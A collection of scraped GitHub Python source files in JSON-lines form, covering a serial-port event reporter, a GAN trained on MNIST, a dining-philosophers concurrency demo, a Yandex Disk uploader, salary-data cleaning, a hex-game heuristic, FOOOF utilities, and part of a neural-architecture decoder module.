+{"seq_id":"7955197563","text":"import time\nimport serial\n\n\n\"\"\"\nThe method sends a signal according to the scenario given, to the serial port, then zero-s it back and closes the port.\nList of scenarios:\n \n 255 - Initialization\n\n # Scenarios List indexing method:\n # (reward - 1) * 7 + Punishment - 1\n # For example:\n # Reward 1 Punishment 1 - index 0\n # Reward 5 Punishment 2 - index 29\n \n 0-48 - Door start\n 50-98 - Door lock\n 100-148 - Door opening\n\"\"\"\n\n\ndef report_event(ser: serial.Serial, event_num: int):\n if not ser.is_open:\n ser.open()\n ser.write(hex(event_num).encode())\n time.sleep(0.05)\n ser.write(\"RR\".encode())\n ser.close()","repo_name":"omerday/Doors-Task","sub_path":"Assignments/Doors/serialHandler.py","file_name":"serialHandler.py","file_ext":"py","file_size_in_byte":659,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"39468456102","text":"import argparse # argparse 是python自带的命令行参数解析包\r\nimport os\r\nimport numpy as np\r\nimport math\r\n\r\nimport torchvision.transforms as transforms\r\nfrom torchvision.utils import save_image\r\n\r\nfrom torch.utils.data import DataLoader # 数据加载\r\nfrom torchvision import datasets\r\nfrom torch.autograd import Variable\r\n\r\nimport torch.nn as nn\r\nimport torch.nn.functional as F\r\nimport torch\r\n\r\nos.makedirs(\"images\", exist_ok=True) # 用于递归创建目录\r\n\r\n# 创建解析器\r\nparser = argparse.ArgumentParser()\r\nparser.add_argument(\"--n_epochs\", type=int, default=200, help=\"number of epochs of training\")\r\nparser.add_argument(\"--batch_size\", type=int, default=64, help=\"size of the batches\")\r\nparser.add_argument(\"--lr\", type=float, default=0.0002, help=\"adam: learning rate\") # 使用的adam 学习速率 设置的比较小\r\nparser.add_argument(\"--b1\", type=float, default=0.5, help=\"adam: decay of first order momentum of gradient\") # 优化器adam 的两个参数 矩估计的指数衰减率\r\nparser.add_argument(\"--b2\", type=float, default=0.999, help=\"adam: decay of first order momentum of gradient\")\r\nparser.add_argument(\"--n_cpu\", type=int, default=8, help=\"number of cpu threads to use during batch generation\") # 使用cpu 的数量\r\nparser.add_argument(\"--latent_dim\", type=int, default=100, help=\"dimensionality of the latent space\") # 随机噪声z的维度\r\nparser.add_argument(\"--img_size\", type=int, default=28, help=\"size of each image dimension\") # 输入图像的尺寸\r\nparser.add_argument(\"--channels\", type=int, default=1, help=\"number of image channels\") # 输入图像的channel数 1是灰度图像 3是RGB\r\nparser.add_argument(\"--sample_interval\", type=int, default=400, help=\"interval betwen image samples\") # 保存生成模型图像的间隔\r\nopt = parser.parse_args() # 所有参数输出\r\nprint(opt)\r\n\r\nimg_shape = (opt.channels, opt.img_size, opt.img_size) # 图像尺寸 (1.28.28)\r\nprint('img_shape=',img_shape)\r\n\r\ncuda = True if torch.cuda.is_available() else False # 使用cuda\r\n\r\n# Configure data loader\r\nos.makedirs(\"../../data/mnist\", exist_ok=True)\r\ndataloader = torch.utils.data.DataLoader(\r\n datasets.MNIST(\r\n \"../../data/mnist\",\r\n train=True,\r\n download=True,\r\n transform=transforms.Compose(\r\n [transforms.Resize(opt.img_size), transforms.ToTensor(), transforms.Normalize([0.5], [0.5])]\r\n ),#对图像进行transform。有重新设置尺寸到我们所需要的大小,转变成tensor,归一化\r\n ),\r\n\r\n batch_size=opt.batch_size,\r\n shuffle=True,#将加载好的数据打乱\r\n)\r\n\r\n# %%\r\n\r\nimport matplotlib.pyplot as plt\r\n\r\n\r\ndef show_img(img, trans=True):\r\n if trans:\r\n img = np.transpose(img.detach().cpu().numpy(), (1, 2, 0)) # 把channel维度放到最后\r\n plt.imshow(img[:, :, 0], cmap=\"gray\")\r\n else:\r\n plt.imshow(img, cmap=\"gray\")\r\n plt.show()\r\n\r\n\r\nmnist = datasets.MNIST(\"../../data/mnist\")\r\n\r\nfor i in range(3):#把mnist中的前三张图片展示出来\r\n sample = mnist[i][0]\r\n label = mnist[i][1]\r\n show_img(np.array(sample), trans=False)\r\n print(\"label =\", label, '\\n')\r\n\r\n#为了展现加载数据的transform过程\r\ntrans_resize = transforms.Resize(opt.img_size)\r\ntrans_to_tensor = transforms.ToTensor()\r\ntrans_normalize = transforms.Normalize([0.5], [0.5]) # x_n = (x - 0.5) / 0.5归一化的过程\r\n\r\nprint(\"shape =\", np.array(sample).shape, '\\n')\r\nprint(\"data =\", np.array(sample), '\\n')\r\nsamlpe = trans_resize(sample)\r\nprint(\"(trans_resize) shape =\", np.array(sample).shape, '\\n')\r\nsample = trans_to_tensor(sample)\r\nprint(\"(trans_to_tensor) data =\", sample, '\\n')\r\nsample = trans_normalize(sample)#归一化后的\r\nprint(\"(trans_normalize) data =\", sample, '\\n')\r\n\r\n# %%\r\nclass Generator(nn.Module): # 生成器 5个全连接层\r\n def __init__(self):\r\n super(Generator, self).__init__()\r\n\r\n def block(in_feat, out_feat, normalize=True):\r\n layers = [nn.Linear(in_feat, out_feat)] # Linear全连接层 输入维度,输出维度\r\n if normalize: # 要不要正则化\r\n layers.append(nn.BatchNorm1d(out_feat, 0.8))\r\n layers.append(nn.LeakyReLU(0.2, inplace=True)) # LeakyReLU的激活函数,,小于0ai=0.2\r\n return layers\r\n\r\n self.model = nn.Sequential(\r\n *block(opt.latent_dim, 128, normalize=False), # 调整维度,不正则化\r\n *block(128, 256),\r\n *block(256, 512),\r\n *block(512, 1024), # 这三正则化\r\n nn.Linear(1024, int(np.prod(img_shape))), # 全连接层 24转化为784维度\r\n nn.Tanh() # 值域转化为(-1,1)\r\n )\r\n\r\n def forward(self, z): # 把随机噪声z输入到定义的模型\r\n img = self.model(z)\r\n img = img.view(img.size(0), *img_shape)\r\n return img\r\n\r\ngenerator = Generator()#把generator进行实例化,得到了一个模型的实例\r\nprint(generator)\r\n\r\nclass Discriminator(nn.Module): # 判别器\r\n def __init__(self):\r\n super(Discriminator, self).__init__()\r\n\r\n self.model = nn.Sequential(\r\n nn.Linear(int(np.prod(img_shape)), 512),\r\n nn.LeakyReLU(0.2, inplace=True),\r\n nn.Linear(512, 256),\r\n nn.LeakyReLU(0.2, inplace=True),\r\n nn.Linear(256, 1),\r\n nn.Sigmoid(), # 把值域变化到 0-1\r\n )\r\n\r\n def forward(self, img):\r\n img_flat = img.view(img.size(0), -1)\r\n validity = self.model(img_flat)\r\n\r\n return validity\r\n\r\ndiscriminator = Discriminator()\r\nprint(discriminator)\r\n\r\n\r\n# Loss function 损失函数\r\nadversarial_loss = torch.nn.BCELoss()\r\n\r\n# Initialize generator and discriminator\r\ngenerator = Generator() # 实例化\r\ndiscriminator = Discriminator()\r\n\r\n# cuda 加速\r\nif cuda:\r\n generator.cuda()\r\n discriminator.cuda()\r\n adversarial_loss.cuda()\r\n\r\n\r\n\r\n# Optimizers 优化器Adam\r\noptimizer_G = torch.optim.Adam(generator.parameters(), lr=opt.lr, betas=(opt.b1, opt.b2)) # 使用参数的学习速率,只优化生成器中的参数\r\noptimizer_D = torch.optim.Adam(discriminator.parameters(), lr=opt.lr, betas=(opt.b1, opt.b2))#只优化辨别器中的参数\r\n\r\nTensor = torch.cuda.FloatTensor if cuda else torch.FloatTensor\r\n\r\n# ----------\r\n# Training\r\n# ----------\r\n\r\nfor epoch in range(opt.n_epochs):\r\n for i, (imgs, _) in enumerate(dataloader): # 从数据集和随机向量仲获取输入\r\n # Configure input\r\n real_imgs = Variable(imgs.type(Tensor)) # 用来保存真实值\r\n # Sample noise as generator input\r\n z = Variable(Tensor( np.random.normal(0, 1, (imgs.shape[0], opt.latent_dim)))) # 定义随机噪声,从正态分布均匀采样均值为0,方差为1 opt.latent_dim = 100\r\n print(\"i =\", i, '\\n')\r\n print(\"shape of z =\", z.shape, '\\n')\r\n print(\"shape of real_imgs =\", real_imgs.shape, '\\n')\r\n print(\"z =\", z, '\\n')\r\n print(\"real_imgs =\")\r\n\r\n for img in real_imgs[:3]:\r\n show_img(img)#这里随机展示的数据与上面展示的3个数据是不一样的,因为我们在加载数据的过程中已经将顺序打乱\r\n\r\n\r\n\r\n # 分别计算loss,使用反向传播更新模型\r\n # Adversarial ground truths t是标注.正确的t标注是ground truth\r\n valid = Variable(Tensor(imgs.size(0), 1).fill_(1.0), requires_grad=False) # 判定1为真\r\n fake = Variable(Tensor(imgs.size(0), 1).fill_(0.0), requires_grad=False) # 判定0为假\r\n\r\n\r\n\r\n # -----------------\r\n # Train Generator\r\n # -----------------\r\n\r\n optimizer_G.zero_grad() # 把生成器的梯度清0\r\n\r\n\r\n\r\n # Generate a batch of images\r\n gen_imgs = generator(z) # 生成图像\r\n print(\"gen_imgs =\")\r\n for img in gen_imgs[:3]:\r\n show_img(img)\r\n\r\n # Loss measures generator's ability to fool the discriminator\r\n #把生成的图像送入判别器,得到判别器 对他的输出\r\n g_loss = adversarial_loss(discriminator(gen_imgs), valid) # 对抗loss 最小化需要判别器的输出和真(1)尽量接近\r\n\r\n g_loss.backward() # 反向传播\r\n optimizer_G.step() # 模型更新\r\n\r\n # ---------------------\r\n # Train Discriminator\r\n # ---------------------\r\n\r\n optimizer_D.zero_grad()\r\n\r\n # Measure discriminator's ability to classify real from generated samples\r\n real_loss = adversarial_loss(discriminator(real_imgs), valid)\r\n fake_loss = adversarial_loss(discriminator(gen_imgs.detach()), fake)#梯度到了gen_imgs就不会再往前传避免了一些多余的计算\r\n\r\n d_loss = (real_loss + fake_loss) / 2\r\n\r\n d_loss.backward()\r\n optimizer_D.step()\r\n\r\n ## 9 保存生成图像和模型文件\r\n\r\n # %%\r\n\r\n\r\n\r\n epoch = 0 # temporary\r\n\r\n batches_done = epoch * len(dataloader) + i # 算一个总的batch\r\n if batches_done % opt.sample_interval == 0: # 当batch数等于设定参数的倍数的时候\r\n save_image(gen_imgs.data[:25], \"images/%d.png\" % batches_done, nrow=5, normalize=True) # 保存图像\r\n\r\n os.makedirs(\"model\", exist_ok=True) # 保存模型\r\n torch.save(generator, 'model/generator.pkl')\r\n torch.save(discriminator, 'model/discriminator.pkl')\r\n print(\"gen images saved!\\n\")\r\n print(\"model saved!\")\r\n\r\n # %%\r\n\r\n","repo_name":"wang-xm525/GAN","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":9481,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"39155818857","text":"import threading\nimport time\n# The philosopher thread\n\n\ndef philosopher(left, right, n):\n while True:\n print(f\"waiting left :{n} {id(left)}\")\n with left:\n print(f\"waiting right :{n} {id(right)}\")\n with right:\n print(\n f\"{time.time()} philosopher at {threading.currentThread()} is eating\")\n\n\nif __name__ == \"__main__\":\n # The chopsticks\n N_FORKS = 5\n # each forks is represented by lock object\n forks = [threading.Lock() for n in range(N_FORKS)]\n\n # Create all of the philosophers\n phils = [threading.Thread(\n target=philosopher,\n args=(forks[n], forks[(n + 1) % N_FORKS], n)\n ) for n in range(N_FORKS)]\n\n # Run all of the philosophers\n for p in phils:\n p.start()\n","repo_name":"owari-taro/concurrency_in_python","sub_path":"mastering_concurrency/ch12/ex3.py","file_name":"ex3.py","file_ext":"py","file_size_in_byte":784,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"22191734668","text":"import logging\nfrom pathlib import Path\nfrom typing import Optional\n\nimport yadisk\nfrom django.conf import settings\nfrom yadisk.exceptions import YaDiskError\n\nlogger = logging.getLogger(\"django\")\n\n\ndef publish_file(yndx, path):\n if yndx.exists(path):\n yndx.publish(path)\n return yndx.get_meta(path, fields=[\"public_url\"]).public_url\n\n\ndef yandex_disk_export(instance) -> Optional[bool]:\n try:\n yndx = yadisk.YaDisk(token=settings.YNDX_DISK_TOKEN)\n _, year, name = Path(str(instance.file)).parts\n to_dir = f\"{year}/{name}\"\n from_dir = (settings.MEDIA_ROOT / instance.file.name).as_posix()\n\n if not yndx.is_dir(year):\n yndx.mkdir(year)\n yndx.upload(from_dir, to_dir)\n\n return publish_file(yndx, to_dir)\n except (ValueError, YaDiskError) as error:\n msg = f\"Не удалось загрузить пьесу {instance.title} от {instance.email} на Яндекс диск.\"\n logger.critical(msg, error, exc_info=True)\n","repo_name":"Studio-Yandex-Practicum/Lubimovka_backend","sub_path":"apps/feedback/services/yandex_disk_export.py","file_name":"yandex_disk_export.py","file_ext":"py","file_size_in_byte":1013,"program_lang":"python","lang":"en","doc_type":"code","stars":14,"dataset":"github-code","pt":"53"}
+{"seq_id":"42940116202","text":"import matplotlib.pyplot as plt\nimport numpy as np\nimport pandas as pd\nimport os\nimport sys\n\n#split salary by blank space and select the numeric number\ndef splitSalary(salary):\n salaryList = []\n for value in salary:\n salaryStr = value.split(' ')\n if salaryStr[0] == 'Up':\n salaryList.append(salaryStr[2])\n elif salaryStr[0] == 'From':\n salaryList.append(salaryStr[1])\n else:\n salaryList.append(salaryStr[0])\n\n salarySer = pd.Series(salaryList)\n return salarySer\n\n\n#delete ',','$' in salary\ndef cleanSalary(salary):\n salaryList = []\n for value in salary:\n temp = value.replace(',', '')\n salaryStr = temp.split('$')\n salaryList.append(float(salaryStr[1]))\n\n # print(salaryList)\n salarySer = pd.Series(salaryList)\n return salarySer\n\n\n#convert salary in hour, day, month to year\ndef convert_to_year(salary):\n salaryList = []\n for value in salary:\n if (value < 200): # hour\n salaryList.append(value * 8 * 22 * 12)\n elif (value < 600): # day\n salaryList.append(value * 22 * 12)\n elif (value < 20001): # month\n salaryList.append(value * 12)\n else:\n salaryList.append(value)\n salarySer = pd.Series(salaryList)\n return salarySer\n\n\n#draw seaborn to check exceptional data\ndef draw_boxplot(dataFrame):\n f,ax=plt.subplots(figsize=(10,8))\n import seaborn as sns\n sns.boxplot(x='experience_filter', y='Salary', data=dataFrame, ax=ax)\n # sns.boxplot(y='Salary', data=dataFrame, ax=ax)\n plt.show()\n\n\n#Fill null salary\ndef padding(final_cleaned_data):\n # final_cleaned_data = pd.read_csv(\"final_cleaned_data.csv\")\n location_list = ['San Jose', 'New York', 'San Francisco', 'California']\n job_list = ['backend developer', 'front developer', 'full stack developer']\n experience_list = ['Entry', 'Mid', 'Senior']\n\n for location in location_list:\n for job_type in job_list:\n for experience in experience_list:\n media_tmp = final_cleaned_data[(final_cleaned_data['location_filter'] == location) \\\n & (final_cleaned_data['job_title_filter'] == job_type) \\\n & (final_cleaned_data['experience_filter'] == experience)][\n 'Salary'].median()\n # print(media_tmp)\n final_cleaned_data.loc[((final_cleaned_data['location_filter'] == location) \\\n & (final_cleaned_data['job_title_filter'] == job_type) \\\n & (final_cleaned_data['experience_filter'] == experience)\n & (final_cleaned_data['Salary'].isna())), \"Salary\"] = media_tmp\n final_cleaned_data.to_csv(\"data_fill.csv\", index=False)\n\n\nif __name__ == \"__main__\":\n data = pd.read_csv(sys.argv[1])\n data = data[[\"Company\", \"Title\", \"job_title_filter\", \"location_filter\", \"experience_filter\", \"Salary\"]]\n #delete null salary\n data = data.dropna(subset=['job_title_filter', 'Salary'])\n data = data.reset_index(drop=True)\n data.loc[:, 'Salary'] = splitSalary(data.loc[:, 'Salary'])\n data.loc[:, 'Salary'] = cleanSalary(data.loc[:, 'Salary'])\n data.loc[:, 'Salary'] = convert_to_year(data.loc[:, 'Salary'])\n data.to_csv('dataset/cleaned_data.csv', index=False)\n print(data.describe())\n # check group, remove Outliers\n group = data.groupby(by=[\"location_filter\", \"job_title_filter\", \"experience_filter\"])[\"Salary\"].mean()\n print(group)\n\n draw_data = data[(data[\"location_filter\"] == \"San Francisco\")\n & (data[\"job_title_filter\"] == \"software developer\")]\n draw_boxplot(draw_data)\n\n data = data.drop(index=data[(data[\"location_filter\"] == \"San Francisco\") & (data[\"job_title_filter\"] == \"software developer\")\n & (data[\"experience_filter\"] == \"Mid\")\n & (data[\"Salary\"] >= 350000)].index)\n data = data.reset_index(drop=True)\n\n draw_data = data[(data[\"location_filter\"] == \"San Jose\")\n & (data[\"job_title_filter\"] == \"data science\")]\n draw_boxplot(draw_data)\n\n data = data.drop(index=data[(data[\"location_filter\"] == \"San Jose\") & (data[\"job_title_filter\"] == \"data science\")\n & (data[\"experience_filter\"] == \"Mid\")\n & ((data[\"Salary\"] >= 210000) | (data[\"Salary\"] <= 70000))].index)\n data = data.reset_index(drop=True)\n\n data = data.drop(index=data[(data[\"location_filter\"] == \"San Jose\") & (data[\"job_title_filter\"] == \"data science\")\n & (data[\"experience_filter\"] == \"Senior\")\n & (data[\"Salary\"] >= 250000)].index)\n data = data.reset_index(drop=True)\n\n data.to_csv('dataset/train_data.csv', index=False)\n\n group = data.groupby(by=[\"location_filter\", \"job_title_filter\", \"experience_filter\"])[\"Salary\"].mean()\n print(group)\n\n","repo_name":"CS7CS4/IncomeForecasts","sub_path":"clean_data.py","file_name":"clean_data.py","file_ext":"py","file_size_in_byte":5058,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"53"}
+{"seq_id":"34014521344","text":"from copy import deepcopy\nimport numpy as np\nfrom heurestic_v2.board import Board\n\n_SWAP_PLAYER = { 0: 0, 1: 2, 2: 1 }\n\n_PLAYER_AXIS = {\n \"red\": 0, # Red aims to form path in r/0 axis\n \"blue\": 1 # Blue aims to form path in q/1 axis\n}\n\n_TOKEN_MAP_OUT = { 0: None, 1: \"red\", 2: \"blue\" }\n\nglobal_neighbours = []\n\ndef evaluation(input_board, n, player):\n board = deepcopy(input_board._data)\n min_row = np.inf\n min_col = np.inf\n min = np.inf\n for i in range(n):\n for j in range(n):\n print(i,j,input_board.__getitem__((i, j)))\n if input_board.__getitem__((i, j)) != _TOKEN_MAP_OUT[player]:\n board[i][j] = np.inf\n else:\n # already_visited = [[i,j]]\n board[i][j] = shortestPath(input_board, n, player, i, j, )\n if(board[i][j] < min):\n min_row = i\n min_col = j\n\n return (min_row, min_col)\n\n\n\ndef shortestPath(input_board, n, player, row, column,):\n board = deepcopy(input_board._data)\n\n #already_visited.append((row,column))\n for degree in range(1,n):\n neighbours = getNeighbours(board, n, degree, row, column, )\n # for n in neighbours:\n # if n not in already_visited:\n # already_visited.append(n)\n print(degree, row, column, neighbours)\n if neighbours:\n assignValue(input_board, board, neighbours, player, degree)\n\n #searches for min value from the winning edges\n if _TOKEN_MAP_OUT[player] == \"red\":\n min_top = np.inf\n min_btm = np.inf\n for i in range(n):\n if board[0][i] < min_top:\n min_top = board[0][i]\n min_top_coord = [0, i]\n if board[n-1][i] < min_btm:\n min_btm = board[0][i]\n min_btm_coord = [n-1, i]\n\n shortestPath = []\n min_top_neighbours = getCoordNeighbours(n, min_top_coord[0], min_top_coord[1])\n min_btm_neighbours = getCoordNeighbours(n, min_btm_coord[0], min_btm_coord[1])\n while(min_top >= 0):\n for neighbour in min_top_neighbours:\n if board[neighbour] == min_top - 1:\n shortestPath.append(board[neighbour])\n min_top -= 1\n while(min_btm >= 0):\n for neighbour in min_btm_neighbours:\n if board[neighbour] == min_btm - 1:\n shortestPath.append(board[neighbour])\n min_btm -= 1\n\n return len(shortestPath)\n\n\ndef getNeighbours(board, n, degree, row, column):\n\n if degree == 1:\n return getCoordNeighbours(n, row, column)\n\n new_neighbours = []\n neighbours = getNeighbours(board, n, degree - 1, row, column, )\n for neighbour in neighbours:\n new_neighbour_list = getCoordNeighbours(n, neighbour[0], neighbour[1])\n for new_neighbour in new_neighbour_list:\n if new_neighbour not in neighbours and new_neighbour != (row, column):\n new_neighbours.append(new_neighbour)\n\n return new_neighbours\n\n\ndef assignValue(input_board, board, neighbours, player, radius):\n for neighbour in neighbours:\n if input_board.__getitem__(neighbour) != _TOKEN_MAP_OUT[player]:\n board[neighbour] = radius - 1\n elif input_board.__getitem__(neighbour) == _TOKEN_MAP_OUT[_SWAP_PLAYER[player]]:\n board[neighbour] = np.inf\n else:\n board[neighbour] = radius\n\n\ndef getCoordNeighbours(n, row, column):\n neighbors = []\n for new_position in [(0, -1), (0, 1), (-1, 0), (1, 0), (-1, 1), (1, -1)]:\n neighbors.append((row + new_position[0], column + new_position[1]))\n\n neighbors = [c for c in neighbors if c[0] >= 0 and c[0] < n and c[1] >= 0 and c[1] < n]\n\n return neighbors\n\n\ndef longest_connected(board, player, action):\n\n connected = board.connected_coords(action)\n length_along_axis = 0\n min = np.inf\n max = -np.inf\n axis = _PLAYER_AXIS[_TOKEN_MAP_OUT[player]]\n for conn in connected:\n if min > conn[axis]:\n min = conn[0]\n if max < conn[0]:\n max = conn[0]\n\n return max - min\n\n\n\n\n","repo_name":"KIAND-glitch/Cachex-AI-GameAgent","sub_path":"partB/heurestic_v2/evaluation.py","file_name":"evaluation.py","file_ext":"py","file_size_in_byte":4088,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"2353936998","text":"\"\"\"Utility functions for managing and manipulating FOOOF objects.\"\"\"\n\nimport numpy as np\n\nfrom fooof.sim import gen_freqs\nfrom fooof.data import FOOOFResults\nfrom fooof.objs import FOOOF, FOOOFGroup\nfrom fooof.analysis.periodic import get_band_peak_fg\nfrom fooof.core.errors import NoModelError, IncompatibleSettingsError\n\n###################################################################################################\n###################################################################################################\n\ndef compare_info(fooof_lst, aspect):\n \"\"\"Compare a specified aspect of FOOOF objects across instances.\n\n Parameters\n ----------\n fooof_lst : list of FOOOF and / or FOOOFGroup\n Objects whose attributes are to be compared.\n aspect : {'settings', 'meta_data'}\n Which set of attributes to compare the objects across.\n\n Returns\n -------\n consistent : bool\n Whether the settings are consistent across the input list of objects.\n \"\"\"\n\n # Check specified aspect of the objects are the same across instances\n for f_obj_1, f_obj_2 in zip(fooof_lst[:-1], fooof_lst[1:]):\n if getattr(f_obj_1, 'get_' + aspect)() != getattr(f_obj_2, 'get_' + aspect)():\n consistent = False\n break\n else:\n consistent = True\n\n return consistent\n\n\ndef average_fg(fg, bands, avg_method='mean', regenerate=True):\n \"\"\"Average across model fits in a FOOOFGroup object.\n\n Parameters\n ----------\n fg : FOOOFGroup\n Object with model fit results to average across.\n bands : Bands\n Bands object that defines the frequency bands to collapse peaks across.\n avg : {'mean', 'median'}\n Averaging function to use.\n regenerate : bool, optional, default: True\n Whether to regenerate the model for the averaged parameters.\n\n Returns\n -------\n fm : FOOOF\n Object containing the average model results.\n\n Raises\n ------\n ValueError\n If the requested averaging method is not understood.\n NoModelError\n If there are no model fit results available to average across.\n \"\"\"\n\n if avg_method not in ['mean', 'median']:\n raise ValueError(\"Requested average method not understood.\")\n if not fg.has_model:\n raise NoModelError(\"No model fit results are available, can not proceed.\")\n\n if avg_method == 'mean':\n avg_func = np.nanmean\n elif avg_method == 'median':\n avg_func = np.nanmedian\n\n # Aperiodic parameters: extract & average\n ap_params = avg_func(fg.get_params('aperiodic_params'), 0)\n\n # Periodic parameters: extract & average\n peak_params = []\n gauss_params = []\n\n for band_def in bands.definitions:\n\n peaks = get_band_peak_fg(fg, band_def, attribute='peak_params')\n gauss = get_band_peak_fg(fg, band_def, attribute='gaussian_params')\n\n # Check if there are any extracted peaks - if not, don't add\n # Note that we only check peaks, but gauss should be the same\n if not np.all(np.isnan(peaks)):\n peak_params.append(avg_func(peaks, 0))\n gauss_params.append(avg_func(gauss, 0))\n\n peak_params = np.array(peak_params)\n gauss_params = np.array(gauss_params)\n\n # Goodness of fit measures: extract & average\n r2 = avg_func(fg.get_params('r_squared'))\n error = avg_func(fg.get_params('error'))\n\n # Collect all results together, to be added to FOOOF object\n results = FOOOFResults(ap_params, peak_params, r2, error, gauss_params)\n\n # Create the new FOOOF object, with settings, data info & results\n fm = FOOOF()\n fm.add_settings(fg.get_settings())\n fm.add_meta_data(fg.get_meta_data())\n fm.add_results(results)\n\n # Generate the average model from the parameters\n if regenerate:\n fm._regenerate_model()\n\n return fm\n\n\ndef combine_fooofs(fooofs):\n \"\"\"Combine a group of FOOOF and/or FOOOFGroup objects into a single FOOOFGroup object.\n\n Parameters\n ----------\n fooofs : list of FOOOF or FOOOFGroup\n Objects to be concatenated into a FOOOFGroup.\n\n Returns\n -------\n fg : FOOOFGroup\n Resultant object from combining inputs.\n\n Raises\n ------\n IncompatibleSettingsError\n If the input objects have incompatible settings for combining.\n\n Examples\n --------\n Combine FOOOF objects together (where `fm1`, `fm2` & `fm3` are assumed to be defined and fit):\n\n >>> fg = combine_fooofs([fm1, fm2, f3]) # doctest:+SKIP\n\n Combine FOOOFGroup objects together (where `fg1` & `fg2` are assumed to be defined and fit):\n\n >>> fg = combine_fooofs([fg1, fg2]) # doctest:+SKIP\n \"\"\"\n\n # Compare settings\n if not compare_info(fooofs, 'settings') or not compare_info(fooofs, 'meta_data'):\n raise IncompatibleSettingsError(\"These objects have incompatible settings \"\n \"or meta data, and so cannot be combined.\")\n\n # Initialize FOOOFGroup object, with settings derived from input objects\n fg = FOOOFGroup(*fooofs[0].get_settings(), verbose=fooofs[0].verbose)\n\n # Use a temporary store to collect spectra, as we'll only add it if it is consistently present\n # We check how many frequencies by accessing meta data, in case of no frequency vector\n meta_data = fooofs[0].get_meta_data()\n n_freqs = len(gen_freqs(meta_data.freq_range, meta_data.freq_res))\n temp_power_spectra = np.empty([0, n_freqs])\n\n # Add FOOOF results from each FOOOF object to group\n for f_obj in fooofs:\n\n # Add FOOOFGroup object\n if isinstance(f_obj, FOOOFGroup):\n fg.group_results.extend(f_obj.group_results)\n if f_obj.power_spectra is not None:\n temp_power_spectra = np.vstack([temp_power_spectra, f_obj.power_spectra])\n\n # Add FOOOF object\n else:\n fg.group_results.append(f_obj.get_results())\n if f_obj.power_spectrum is not None:\n temp_power_spectra = np.vstack([temp_power_spectra, f_obj.power_spectrum])\n\n # If the number of collected power spectra is consistent, then add them to object\n if len(fg) == temp_power_spectra.shape[0]:\n fg.power_spectra = temp_power_spectra\n\n # Add data information information\n fg.add_meta_data(fooofs[0].get_meta_data())\n\n return fg\n\n\ndef fit_fooof_3d(fg, freqs, power_spectra, freq_range=None, n_jobs=1):\n \"\"\"Fit FOOOF models across a 3d array of power spectra.\n\n Parameters\n ----------\n fg : FOOOFGroup\n Object to fit with, initialized with desired settings.\n freqs : 1d array\n Frequency values for the power spectra, in linear space.\n power_spectra : 3d array\n Power values, in linear space, with shape as: [n_conditions, n_power_spectra, n_freqs].\n freq_range : list of [float, float], optional\n Desired frequency range to fit. If not provided, fits the entire given range.\n n_jobs : int, optional, default: 1\n Number of jobs to run in parallel.\n 1 is no parallelization. -1 uses all available cores.\n\n Returns\n -------\n fgs : list of FOOOFGroups\n Collected FOOOFGroups after fitting across power spectra, length of n_conditions.\n\n\n Examples\n --------\n Fit a 3d array of power spectra, assuming `freqs` and `spectra` are already defined:\n\n >>> from fooof import FOOOFGroup\n >>> fg = FOOOFGroup(peak_width_limits=[1, 6], min_peak_height=0.1)\n >>> fgs = fit_fooof_3d(fg, freqs, power_spectra, freq_range=[3, 30]) # doctest:+SKIP\n \"\"\"\n\n fgs = []\n for cond_spectra in power_spectra:\n fg.fit(freqs, cond_spectra, freq_range, n_jobs)\n fgs.append(fg.copy())\n\n return fgs\n","repo_name":"JohnGriffiths/eeg_notebooks_doc","sub_path":"fooof/objs/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":7667,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"53"}
+{"seq_id":"21276620877","text":"import numpy as np\nimport torch\nimport torch.nn as nn\nfrom torch.nn import functional as F\nfrom torch.autograd import Variable\nfrom operations import *\nfrom genotypes import PRIMITIVES\nfrom sklearn.decomposition import PCA\nimport matplotlib.pyplot as plt\nimport os\nfrom PIL import Image\nfrom pdb import set_trace as bp\n\nBatchNorm2d = nn.BatchNorm2d\n\ndef kl_normal(qm, qv, pm, pv, yh):\n element_wise = 0.5 * (torch.log(pv) - torch.log(qv) + qv / pv + (qm - pm - yh).pow(2) / pv - 1)\n kl = element_wise.sum(-1)\n return torch.mean(kl)\n\ndef sample_gaussian(m, v):\n sample = torch.randn(m.shape).to(torch.device(\"cuda\"))\n m = m.cuda()\n v = v.cuda()\n z = m + (v ** 0.5) * sample\n return z\n\n\ndef softmax(x):\n return np.exp(x) / (np.exp(x).sum() + np.spacing(1))\n\nclass TCONV(nn.Module):\n def __init__(self, t_in_ch, t_out_ch, t_kernel, t_padding, t_stride, outpadding = 0):\n super(TCONV, self).__init__()\n self.t_in_ch = t_in_ch\n self.t_out_ch = t_out_ch\n self.t_kernel = t_kernel\n self.t_stride = t_stride\n self.t_padding = t_padding\n self.weight = 1\n self.bias = 0\n self.outpadding = outpadding\n\n self.net = nn.Sequential(\n\n nn.ConvTranspose2d(t_in_ch, t_out_ch, kernel_size=t_kernel, padding=t_padding, stride=t_stride, output_padding=self.outpadding), # (w-k+2p)/s+1\n nn.BatchNorm2d(t_out_ch),\n nn.PReLU(),\n )\n\n def decode(self, x):\n h = self.net(x)\n # mu, var = ut.gaussian_parameters(h, dim=1)\n return h\n\n\nclass FCONV(nn.Module):\n def __init__(self, t_in_ch, t_out_ch, t_kernel, t_padding, t_stride):\n super(FCONV, self).__init__()\n\n self.t_in_ch = t_in_ch\n self.t_out_ch = t_out_ch\n self.t_kernel = t_kernel\n self.t_stride = t_stride\n self.t_padding = t_padding\n\n\n self.final = nn.Sequential(\n nn.PReLU(),\n nn.ConvTranspose2d(t_in_ch, t_out_ch, kernel_size=t_kernel, padding=t_padding, stride=t_stride), # (w-k+2p)/s+1\n #nn.Sigmoid()\n nn.Tanh()\n )\n\n def final_decode(self,x):\n # x = x.view(-1, self.t_in_ch, self.unflat_dim, self.unflat_dim)\n x_re = self.final(x)\n return x_re\n\ndef path2downs(path):\n '''\n 0 same 1 down\n '''\n downs = []\n prev = path[0]\n for node in path[1:]:\n assert (node - prev) in [0, 1]\n if node > prev:\n downs.append(1)\n else:\n downs.append(0)\n prev = node\n downs.append(0)\n return 